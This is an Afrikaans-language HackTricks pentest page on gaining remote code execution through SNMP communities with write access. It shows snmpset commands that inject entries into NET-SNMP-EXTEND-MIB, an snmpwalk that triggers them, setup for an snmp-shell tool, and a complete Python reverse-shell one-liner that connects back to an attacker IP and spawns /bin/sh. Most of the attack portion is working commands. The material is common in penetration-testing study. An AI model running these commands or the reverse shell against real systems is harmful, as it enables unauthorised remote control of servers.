tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
SNMP RCE
SNMP kan deur 'n aanvaller uitgebuit word as die administrateur sy standaardkonfigurasie op die toestel of bediener oor die hoof sien. Deur die SNMP-gemeenskap met skrywe toestemmings (rwcommunity) op 'n Linux-bedryfstelsel te misbruik, kan die aanvaller opdragte op die bediener uitvoer.
Uitbreiding van Dienste met Bykomende Opdragte
Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe rye aan die "nsExtendObjects" tabel toe te voeg. Dit kan bereik word deur die snmpset
opdrag te gebruik en die nodige parameters te verskaf, insluitend die absolute pad na die uitvoerbare lêer en die opdrag wat uitgevoer moet word:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Inspuit van Opdragte vir Uitvoering
Inspuit van opdragte om op die SNMP-diens te loop, vereis die bestaan en uitvoerbaarheid van die aangeroepde binêre/scrip. Die NET-SNMP-EXTEND-MIB
vereis die verskaffing van die absolute pad na die uitvoerbare.
Om die uitvoering van die ingespuite opdrag te bevestig, kan die snmpwalk
opdrag gebruik word om die SNMP-diens te enumerate. Die uitset sal die opdrag en sy geassosieerde besonderhede vertoon, insluitend die absolute pad:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Die Uitgevoerde Opdragte
Wanneer die ingespotte opdrag gelees word, word dit uitgevoer. Hierdie gedrag staan bekend as run-on-read()
. Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees.
Verkryging van Bediener Shell met SNMP
Om beheer oor die bediener te verkry en 'n bediener shell te bekom, kan 'n python-skrip wat deur mxrch ontwikkel is, gebruik word vanaf https://github.com/mxrch/snmp-shell.git.
Alternatiewelik kan 'n omgekeerde shell handmatig geskep word deur 'n spesifieke opdrag in SNMP in te spuit. Hierdie opdrag, wat deur die snmpwalk geaktiveer word, stel 'n omgekeerde shell-verbinding met die aanvaller se masjien in staat, wat beheer oor die slagoffer se masjien moontlik maak. Jy kan die vereiste installeer om dit te laat loop:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Of 'n omgekeerde skulp:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Verwysings
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.